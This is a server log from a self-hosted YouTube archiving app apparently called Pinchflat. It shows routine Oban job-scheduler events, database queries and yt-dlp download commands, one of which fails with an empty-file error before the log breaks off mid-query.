{"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:49.178 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.634 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:19.180 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:49.181 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.635 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:19.182 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:49.183 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.636 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:19.185 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:49.187 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.637 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:19.188 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:49.189 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.638 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:19.191 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:49.192 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.639 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:19.193 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:49.194 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.640 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:19.195 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:49.196 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.641 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:19.197 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:49.198 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.642 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:19.199 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:49.200 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.643 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:19.201 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:49.202 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.644 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:19.203 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:49.204 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.645 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:19.206 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:49.207 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.646 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:19.209 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:49.210 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.647 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:19.211 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:49.212 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.648 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:19.213 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:49.214 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.649 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:19.215 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:49.216 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.650 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:19.217 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:49.218 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.651 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:19.219 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:49.220 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.652 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:19.221 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:49.222 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.653 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:19.223 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:49.224 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.654 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:19.225 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:49.226 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.655 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:19.227 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:49.228 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.656 [info] {"source":"oban","duration":99,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:19.229 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:49.230 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.657 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:19.231 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:49.232 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.658 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:14.809 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774979474809335009,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:51:14.809 [debug] QUERY OK source="media_items" db=0.2ms idle=410.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 13:51:14.809 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:51:14.810 [debug] QUERY OK source="sources" db=0.2ms idle=411.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:51:14.810 [debug] QUERY OK source="media_profiles" db=0.1ms idle=411.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:51:14.811 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 13:51:14.811 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 13:51:14.812 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:51:14.812 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:14.812 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:14.812 [debug] Running yt-dlp command for action: get_downloadable_status 13:51:14.813 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:14.813 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:14.813 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:14.813 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8e/03/8e03b69c93df5c64ea4eb4b8d9d7fa74e74de5b054fbdf3b02560c5037574976.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:51:18.400 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8e/03/8e03b69c93df5c64ea4eb4b8d9d7fa74e74de5b054fbdf3b02560c5037574976.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:51:18.400 [debug] Running yt-dlp command for action: download 13:51:18.400 [debug] QUERY OK source="settings" db=0.1ms idle=594.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:18.400 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:18.401 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:18.401 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f1/dd/f1ddc43b5dda9ccf7dd94e8f87ac8ab8f9d4bae8b01b27576a4e5de595332eb3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:51:19.233 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:49.235 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.659 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:19.236 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:49.237 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.660 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:19.238 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:49.240 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.661 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:19.241 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:49.242 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.662 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:19.244 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:49.245 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.663 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:02.807 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f1/dd/f1ddc43b5dda9ccf7dd94e8f87ac8ab8f9d4bae8b01b27576a4e5de595332eb3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 13:56:02.807 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 13:56:02.808 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":287998762,"event":"job:exception","queue_time":942112,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:56:19.246 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:49.247 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.664 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:19.248 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:49.249 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.665 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:19.250 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:49.251 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.666 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:19.252 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:49.253 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.667 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:19.255 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:49.256 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.668 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:19.257 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:49.258 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.669 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:19.259 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:22.555 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774980142555255568,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:02:22.555 [debug] QUERY OK source="media_items" db=0.2ms idle=156.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 14:02:22.555 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:02:22.556 [debug] QUERY OK source="sources" db=0.2ms idle=157.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:02:22.556 [debug] QUERY OK source="media_profiles" db=0.1ms idle=157.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:02:22.557 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 14:02:22.557 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 14:02:22.557 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:02:22.558 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:02:22.558 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 